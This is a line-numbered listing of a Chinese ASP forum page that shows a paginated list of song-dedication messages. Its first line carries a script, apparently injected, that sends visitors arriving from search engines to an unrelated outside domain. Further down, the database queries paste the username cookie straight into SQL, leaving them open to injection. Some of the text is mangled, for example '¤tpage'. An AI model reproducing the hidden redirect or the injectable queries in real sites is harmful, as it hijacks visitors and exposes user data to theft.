d:\wwwroot\wuchunhua\Z_dglistall.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="setup.asp" -->
002:
<!--#include file="z_dgconn.asp"-->
003:
<%
004:
005:
dim page_count,Pcount,totalrec,mytotalrec,totalPages,currentPage
006:
dim abgcolor,username
007:
if Request.Cookies("username")="" then
008:
error("<li>您还还未<a href=login.asp>登陆</a>社区")
009:
end if
010:
011:
if instr(Request.Cookies("username")," ")>0 then:error("<li>非法操作"):end if
012:
013:
sql="select * from [user] where username='"&Request.Cookies("username")&"'"
014:
rs.Open sql,Conn,1,3
015:
016:
if Request.Cookies("userpass")<>rs("userpass") then
017:
error2("密码错误！")
018:
end if
019:
totalrec=connDG.execute("select count(id) from [media]")(0)
020:
mytotalrec=connDG.execute("select count(id) from [media] where incept='"&Request.Cookies("username")&"' or incept='全体会员' or sender='"&Request.Cookies("username")&"' ")(0)
021:
%
>
022:
<%
023:
top
024:
%
>
025:
<title>点播祝福</title>
026:
027:
<table border=0 width=97% align=center cellspacing=1 cellpadding=4 class=a2>
028:
<tr class=a3>
029:
<td height=25> <img src=images/Forum_nav.gif>
<%
ClubTree
%
> → <a href="shop.asp">点播祝福</a></td>
030:
</tr>
031:
</table><br><html><head>
032:
<title>所有点播列表</title>
033:
034:
<table width="97%" border=0 align=center cellpadding=3 cellspacing=1 class=a2>
035:
<tr class=a1 align=center>
036:
<td><a href=z_dglistall.asp><font color=red><b>所有点播列表</b></font></a></td>
037:
<td><a href=z_dglistme.asp><font color=red><b>我的点播列表</b></font></a></td>
038:
<td><a href=z_dgwrite.asp><font color=red><b>我要点播</b></font></a></td>
039:
</tr>
040:
<tr>
041:
<td width=97% class=a3 align=center valign=middle colspan="3"><a href=z_dglistall.asp><b>论坛总点播列表</b></a>清单共有[<font color=red><b>
<%
=totalrec
%
></b></font>]个,其中<a href=z_dglistme.asp><font color=green>[<b>
<%
=Request.Cookies("username")
%
></b>]</font></a>的祝福清单共有[<font color=red><b>
<%
=mytotalrec
%
></b></font>]个。<font color=green><直接点击点播内容欣赏></font></td>
042:
</tr>
043:
</table>
044:
<br>
045:
<table width="97%" border=0 align=center cellpadding=3 cellspacing=1 class=a2>
046:
<tr class=a1 align=center>
047:
<td width=80>点播人</td><td width=80>对方姓名</td><td width=220>点播内容</td><td width=120>时间</td><td width=*>祝福语</td><td width=50>操作</td>
048:
</tr>
049:
050:
<%
051:
set rs=server.createobject("adodb.recordset")
052:
sql="select * from [media] Order By sendtime Desc"
053:
rs.open sql,connDG,3,3
054:
if rs.eof and rs.bof then
055:
currentpage=0
056:
%
>
057:
058:
<tr><td class=a3 valign=middle colspan=6>当前没有点播列表</td></tr>
059:
<%
060:
else
061:
062:
currentPage=1
063:
if currentpage="" then
064:
currentpage=1
065:
else
066:
currentpage=clng(currentpage)
067:
if err then
068:
currentpage=1
069:
err.clear
070:
end if
071:
end if
072:
073:
rs.PageSize = 10
074:
rs.AbsolutePage=currentpage
075:
page_count=0
076:
totalrec=rs.recordcount
077:
while (not rs.eof) and (not page_count = rs.PageSize)
078:
if trim(rs("incept"))=Request.Cookies("username") or trim(rs("incept"))="全体会员" then
079:
%
>
080:
<tr width=97% >
081:
<td class=a3 align=center valign=middle><a href=profile.asp?username=
<%
=rs("sender")
%
> target=_blank ><font color=blue>
<%
=rs("sender")
%
></font></a></td>
082:
<td class=a3 align=center valign=middle>
<%
if trim(rs("incept"))=Request.Cookies("username") then
%
><a href=profile.asp?username=
<%
=rs("incept")
%
> target=_blank ><font color=#CC66FF>
<%
=rs("incept")
%
></font></a>
<%
else
%
><font color=olive>
<%
=rs("incept")
%
></font>
<%
end if
%
></td>
083:
<td class=a3 align=center valign=middle><a href='z_dgplay.asp?url=
<%
=replace(rs("url"),chr(32),"%20",1)
%
>&medianame=
<%
=replace(rs("medianame"),chr(32),"%20")
%
>' target=_blank>
<%
=rs("medianame")
%
></a></td>
084:
<td class=a3 align=center valign=middle>
<%
=rs("sendtime")
%
></td>
085:
<td class=a3 align=left valign=middle><font color=navy>
<%
=rs("content")
%
></font></td>
086:
<td class=a3 align=center valign=middle><a href=z_dgdel.asp?id=
<%
=rs("id")
%
> onclick="javascript:{if(confirm('您确定执行删除操作吗?')){return true;}return false;}">[删除]</a></td>
087:
</tr>
088:
<%
089:
else
090:
%
>
091:
<tr>
092:
<td class=a3 align=center valign=middle><a href=profile.asp?username=
<%
=rs("sender")
%
> target=_blank ><font color=blue>
<%
=rs("sender")
%
></font></a></td>
093:
<td class=a3 align=center valign=middle><a href=profile.asp?username=
<%
=rs("incept")
%
> target=_blank ><font color=green>
<%
=rs("incept")
%
></font></a></td>
094:
<td class=a3 align=center valign=middle><a href='Z_dgplay.asp?url=
<%
=replace(rs("url"),chr(32),"%20",1)
%
>&medianame=
<%
=replace(rs("medianame"),chr(32),"%20")
%
>' target=_blank>
<%
=rs("medianame")
%
></a></td>
095:
<td class=a3 align=center valign=middle>
<%
=rs("sendtime")
%
></td>
096:
<td class=a3 align=left valign=middle><font color=gray>******已经隐藏******</font></td>
097:
<td class=a3 align=center valign=middle><a href=z_dgdel.asp?id=
<%
=rs("id")
%
> onclick="javascript:{if(confirm('您确定执行删除操作吗?')){return true;}return false;}">[删除]</a></td>
098:
</tr>
099:
<%
100:
end if
101:
page_count = page_count + 1
102:
rs.movenext
103:
wend
104:
end if
105:
%
>
106:
</table>
107:
<%
108:
dim endpage
109:
Pcount=rs.PageCount
110:
response.write "<table border=0 cellpadding=0 cellspacing=3 width=97% align=center>"&_
111:
"<tr><td valign=middle nowrap>"&_
112:
"<font color='#000000'>页次：<b>"¤tpage&"</b>/<b>"&Pcount&"</b>页"&_
113:
" 每页<b>10</b>条 共有<b>"&totalrec&"</b>条点播</td>"&_
114:
"<td valign=middle nowrap><div align=right><p>分页： "
115:
116:
if currentpage > 4 then
117:
response.write "<a href=""?page=1"">[1]</a> ..."
118:
end if
119:
if Pcount>currentpage+3 then
120:
endpage=currentpage+3
121:
else
122:
endpage=Pcount
123:
end if
124:
for i=currentpage-3 to endpage
125:
if not i<1 then
126:
if i = clng(currentpage) then
127:
response.write " <font color=red>["&i&"]</font>"
128:
else
129:
response.write " <a href=""?page="&i&""">["&i&"]</a>"
130:
end if
131:
end if
132:
next
133:
if currentpage+3 < Pcount then
134:
response.write "... <a href=""?page="&Pcount&""">["&Pcount&"]</a>"
135:
end if
136:
response.write "</p></div></font></td></tr></table>"
137:
rs.close
138:
set rs=nothing
139:
%
>
140:
<table cellpadding=3 cellspacing=1 border=0 align=center class=a1>
141:
<tr>
142:
<td><font color=red>--== 论坛点播台-所有点播列表 ==--</font></td>
143:
</tr>
144:
</table>
145:
<%
146:
call CloseDB()
147:
%
>
148:
<%
149:
htmlend
150:
%
>
151:
152:
153: